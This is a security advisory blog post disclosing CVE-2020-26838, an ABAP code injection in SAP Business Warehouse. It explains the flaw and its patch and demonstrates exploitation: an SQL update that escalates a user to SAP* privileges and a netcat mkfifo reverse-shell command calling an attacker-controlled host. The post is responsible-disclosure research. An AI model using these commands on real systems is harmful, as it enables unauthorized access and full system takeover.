SAP® Privilege Escalation through ABAP Code Injection in SAP® Business Warehouse
|Title||SAP® Privilege Escalation through ABAP Code Injection in SAP® Business Warehouse|
|Type||ABAP Code Injection|
|CVSS v3 Vector||CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H|
|CVSS v3 Score||9.1|
|Product||SAP Business Warehouse and SAP BW/4HANA|
|Versions||SAP Business Warehouse in versions 700, 701, 702, 731, 740, 750, 751, 752,753, 754, 755, 782, SAP BW4HANA, Versionen - 100, 200|
During security research of SAP® internal code in the SAP® Business Warehouse component end of 2020, researcher Raschin Tavakoli, an expert of SEC Consult's Security for SAP® service, identified that the function module RSDMD_BATCH_CALL of the function group RSDMD is vulnerable to an ABAP code injection vulnerability. This issue allows attackers to bypass several security restrictions to read/modify arbitrary data in the system and escalate their privileges to SAP_ALL – the highest privileged profile in ABAP based SAP systems.
All SAP® customers who use SAP® BW or SAP® BW/4HANA are affected. As the software component SAP_BW usually exists on other ABAP based installations (i.e. ERP or Solution Manager) as well, most customer systems are likely to be vulnerable.
SEC Consult contacted the SAP® Product Security Response Team responsibly and a patch is available since the December 2020 patch day. This blog post outlines previously unreleased technical details of CVE-2020-26838 and showcases its potential impact on mission-critical business systems.
About the product
SAP Business Warehouse (BW) and its successor SAP BW/4HANA is a model-driven data warehousing product based on SAP NetWeaver Application Server ABAP, respectively the ABAP platform. It collects, transforms and stores data generated in SAP and non-SAP applications and makes it accessible through built-in reporting, business intelligence and analytics tools, as well as third-party software. According to enlyft.com, more than 15 000 companies worldwide use SAP Business Warehouse, most often used by companies with 1000-5000 employees and >1000 Million USD in revenue.
ABAP code injection vulnerabilities are highly dangerous because of the nature of the powerful programming language itself. Integrated language elements and features give unrestricted read/write access to the system and let attackers even bypass server-side security concepts like system modifiability settings. Once an attacker manages to execute arbitrary ABAP code, he therefore can elevate his privileges to SAP_ALL. ABAP code injections are often difficult to track even by experts, as in many cases little or no traces will be left behind. Successful exploitation of the vulnerability results in a loss of confidentiality, integrity and availability of the affected systems.
The function module RSDMD_BATCH_CALL of the function group RSDMD generates ABAP code dynamically via the GENERATE SUBROUTINE POOL statement and then executes it via the PERFORM instruction. For the dynamic generation untrusted user input is parsed without performing any input validation. As the attacker can freely choose the characters that can be used in the input fields, he can execute arbitrary ABAP code.
In this blogpost we want to demonstrate the nature of the vulnerability and its impact. For this purpose, we created a user TEST with necessary privileges to call the vulnerable function module via transaction SE37. Note that for successful exploitation this is not a mandatory prerequisite as there may be numerous other possibilities that could expose the vulnerable code to attackers.
If we inspect the L_T_ABAP variable, we see that the following code has been generated (dynamic user input is shown in red bold).
Now that we can analyse the behaviour of the algorithm, we see that we have to deal with a few restrictions:
An already existing report is necessary to make the code working. It is important to recognize, that this report will actually be submitted, so it should be carefully chosen to not cause any damage.
The length of the field VARNAME and the field VARVALUE are limited to 72 characters each. However, we can use as many lines as we want, enabling us to concatenate the payload together.
Between VARNAME and VARVALUE, the characters = ‘ are inserted.
Between each line and its predecessor, the characters ‘ WITH are inserted
At the end of the last user input, the following string is appended: ' USER SY-UNAME VIA JOB I_JOBNAME NUMBER I_JOBCOUNT AND RETURN.
And that’s already all we need to know for creating our proof of concept. In the following writeup we will first give an example on how to elevate the privileges of the user TEST and then showcase another example on how to spawn a reverse shell by means of the code injection capabilities.
Example 1: Privilege Escalation by Reference User Assignment
One convenient way for privilege escalation is to add a reference to another highly privileged user (e.g. default user SAP*) into the USREFUS table. Our user will inherit the privileges of the referenced account. For this purpose, we make use of the integrated OpenSQL derivative to alter data directly on database level. The following ABAP code will update the table USREFUS for our needs.
UPDATE USREFUS SET REFUSER = 'SAP*' WHERE BNAME = ‘TEST'.
Forming this into a working payload would look like the following:
The corresponding dynamically generated report will be as follows:
Example 2: Operating System Command Execution with Reverse Shell
Another example on how to exploit an ABAP code injection vulnerability would be to inject a payload that executes OS commands on the application server instance by calling the kernel function CALL SYSTEM. Commands executed in this manner will run under the context of the administrative operating system account <sid>adm. This way it would be possible to send a reverse shell to a host controlled by us.
Note that calling C functions from within the ABAP environment requires the authority object S_C_FUNCT.
On our test system, the OpenBSD version of netcat is preinstalled. Unfortunately, it does not support the -e option, but we can still execute a command after the connection has been established by redirecting file descriptors. We would need something like:
mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | /usr/bin/nc $ipaddress 7777 > /tmp/f
In this case, $ipaddress is our attacker-controlled machine and port 7777 is the port our listener is waiting for an incoming TCP reverse shell.
Again, we need to craft a special payload that bypasses the restrictions mentioned above:
We insert the payload by creating multiple table lines (see figure 9). Breaking the program flow with the debugger, we can inspect the dynamically generated code (see figure 10). After the execution of the PERFORM statement, we receive a reverse shell on our listener (see figure 11). With the ability to execute arbitrary commands at the operating system level of the application server, we now have full control over the SAP system. We are able to manipulate system configuration files, view and change data on database level by established trust connections, or simply terminate critical services.
The security vulnerability was initially communicated to SAP® on October 21, 2020 and a release of the patch with the SAP® Security Note 2983367 was confirmed on December 07, 2020. The corresponding CVE number CVE-2020-26838 has been reserved.
SEC Consult advises all SAP® customers to implement SAP Security Note 2983367 immediately.
For more information check out:
SEC Consult would like to thank the SAP® Product Security Response Team for their very fast and professional handling of this vulnerability!
This research was conducted by Raschin Tavakoli on behalf of the SEC Consult Vulnerability Lab. Special thanks also to Fabian Hagg for his support. Both researchers are experts of our dedicated Security for SAP® service where SEC Consult helps customers detecting severe vulnerabilities in SAP® systems before malicious people do.